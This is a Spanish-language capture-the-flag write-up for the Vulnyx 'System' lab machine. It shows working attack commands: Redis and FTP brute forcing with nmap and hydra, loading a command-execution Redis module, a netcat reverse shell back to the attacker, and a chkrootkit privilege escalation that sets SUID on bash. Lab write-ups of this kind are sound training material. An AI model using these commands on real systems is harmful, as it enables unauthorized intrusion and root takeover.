System - Vulnyx
Resolución de la maquina System de Vulnyx
Hola estimado lector, ¿Le apetece un CTF?

Pero antes, gracias al creador de la maquina d4t4s3c y a la comunidad de Vulnyx por hacer esto posible.
Descripción de la maquina.
| Sistema Operativo | Linux 🐧 |
| Dificultad | Medio |
| Lanzamiento | 06/05/2024 |
| Creador | d4t4s3c |
| Primer Usuario | suraxddq |
| Primer Root | suraxddq |
Enumeración
Hacemos un escaneo con el respectivo nmap

Bien, tanto el servicio ftp como redis, requiere de credenciales y en el servicio http no obtuvimos nada.

Brute Force
nmap cuenta con un NSE el cual aplica fuerza bruta contra el servicio redis, así que... Vamos a lanzarlo.
nmap --script redis-brute -p6379 192.168.1.94

Excelente tenemos la contraseña "bonjour", nos conectamos y...

No tenemos nada, solo mas que información del sistema, que por ahora no nos resulta de mucha utilidad.
Ahora, que pasaría si esta contraseña de "bonjour" esta siendo utiliza en otro servicio.

Vamos a realizar fuerza bruta contra el servicio ftp utilizando la contraseña "bonjour" y una lista de usuarios, con hydra.
hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -p bonjour ftp://192.168.1.94 -t 15 -s 2121

Ah, ahí lo tenemos, unas credenciales, entremos...

Pero, no tenemos ningún archivo, aunque...

Podemos subir archivos, pero por ahora no es de utilidad.
Load Redis Module
Después de visitar esta información:
Podemos realizar una cosa y es cargar un modulo personalizado de redis que nos permita ejecutar comando. Por lo tanto debemos hacer los siguientes pasos.
Compilar modulo
redispara ejecutar comandos.Cargar el modulo en la maquina victima y ser llamada desde
redisconMODULE LOAD /path/to/mymodule.soEjecutar comandos con el modulo:
system.exec "id"
Así que vamos a realizarlo, descargue el modulo y compile en su maquina de atacante.
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make

El resultante sera el archivo module.so, ahora falta pasarlo a la máquina victima, ¿como lo haremos? pues... Con el servicio ftp mi estimado.


Una vez transferido tendremos que descubrir la ruta absoluta de esta archivo, para ser llamada desde redis.

La respuesta es el directorio /srv/ 🙂
El directorio
/srves una directorio en sistemas basados en Unix y Linux que se utiliza para almacenar datos relacionados con los servicios proporcionados por el sistema. Por ejemplo, los archivos FTP pueden ser almacenados en/srv/ftp.
Ajaaa, dicho lo anterior puede que nuestro archivo module.so se encuentre en /srv/ftp/
Así que probamos en cargar el modulo desde redis

Y en efecto, una vez cargado ya podremos ejecutar comandos 😃
¿Nos enviamos una shell, no?
system.exec "nc 192.168.1.79 8003 -e /bin/bash"


Escalada de privilegios
Enumeramos los usuarios del sistema...

Explorando la posible escalada me dispuse a inspeccionar los procesos con pspy
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s
chmod +x pspy32s
./pspy32s
Vemos que el usuario ejecuta constantemente el binario chkrootkit

Vamos a ver la versión del binario chkrootkit

Bueno, busquemos alguna vulnerabilidad...

Y efecto tenemos una vulnerabilidad que nos permite ejecutar comandos como root. ¿Como lo explotamos?
Cree un ejecutable en
bashllamadaupdateen el directorio/tmpColoque los comandos que desea ejecutar.

En mi caso hice que root aplique permisos SUID al binario bash, para obtener una bash como root, eso es todo.
Ahora toca esperar un poco...

Y efecto, tenemos permisos SUID en el binario bash.
Eso fue todo, hasta luego lector!!

Referencias

